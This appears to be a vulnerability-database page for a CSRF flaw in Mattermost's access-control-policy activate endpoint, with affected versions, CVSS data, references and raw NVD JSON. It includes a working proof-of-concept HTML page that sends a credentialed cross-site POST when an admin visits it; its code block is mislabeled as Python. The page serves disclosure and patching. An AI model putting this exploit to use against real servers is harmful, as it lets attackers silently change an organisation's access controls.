CVE-2026-27659

Description

Mattermost versions 11.2.x <= 11.2.2, 10.11.x <= 10.11.10, 11.4.x <= 11.4.0, 11.3.x <= 11.3.1 fail to properly validate CSRF tokens in the /api/v4/access_control_policies/{policy_id}/activate endpoint, which allows an attacker to trick an admin into changing access control policy active status via a crafted request.. Mattermost Advisory ID: MMSA-2026-00578

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost 11.2.x <= 11.2.2

Mattermost 10.11.x <= 10.11.10

Mattermost 11.4.x <= 11.4.0

Mattermost 11.3.x <= 11.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept (PoC) for CVE-2026-27659
  Description: This HTML page demonstrates how an attacker can exploit the CSRF vulnerability.
  Usage: Host this file on any server and trick an authenticated Mattermost admin to visit it.
-->
<html>
  <body>
    <h2>CVE-2026-27659 PoC</h2>
    <p>Attempting to activate/deactivate access control policy...</p>
    <script>
      // Target Mattermost instance URL
      const targetHost = "https://mattermost.example.com";
      // The policy ID to target (attacker needs to guess or find this ID)
      const policyId = "REPLACE_WITH_ACTUAL_POLICY_ID";

      // Vulnerable endpoint
      const url = `${targetHost}/api/v4/access_control_policies/${policyId}/activate`;

      // Send the request using fetch (or XMLHttpRequest)
      fetch(url, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        credentials: 'include' // Ensures cookies are sent with the request
      })
      .then(response => {
        if (response.ok) {
          alert("Request sent successfully! Policy status likely changed.");
        } else {
          alert("Request failed. Check console for details.");
        }
      })
      .catch(error => {
        console.error('Error:', error);
      });
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27659
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27659
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27659/
[4] VulDB https://vuldb.com/cve/CVE-2026-27659
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27659", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:56.977", "lastModified": "2026-03-26T18:49:34.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.2.x <= 11.2.2, 10.11.x <= 10.11.10, 11.4.x <= 11.4.0, 11.3.x <= 11.3.1 fail to properly validate CSRF tokens in the /api/v4/access_control_policies/{policy_id}/activate endpoint, which allows an attacker to trick an admin into changing access control policy active status via a crafted request.. Mattermost Advisory ID: MMSA-2026-00578"}, {"lang": "es", "value": "Las versiones de Mattermost 11.2.x <= 11.2.2, 10.11.x <= 10.11.10, 11.4.x <= 11.4.0, 11.3.x <= 11.3.1 no validan correctamente los tokens CSRF en el endpoint /api/v4/access_control_policies/{policy_id}/activate, lo que permite a un atacante engañar a un administrador para que cambie el estado activo de una política de control de acceso mediante una solicitud manipulada. ID de Aviso de Mattermost: MMSA-2026-00578"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.2", "matchCriteriaId": "805ECFFC-82FD-4754-AF95-32167E1D41CB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.4.1", "matchCriteriaId": "839BC7B7-28DF-4125-937A-8B0D2D6893C2"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}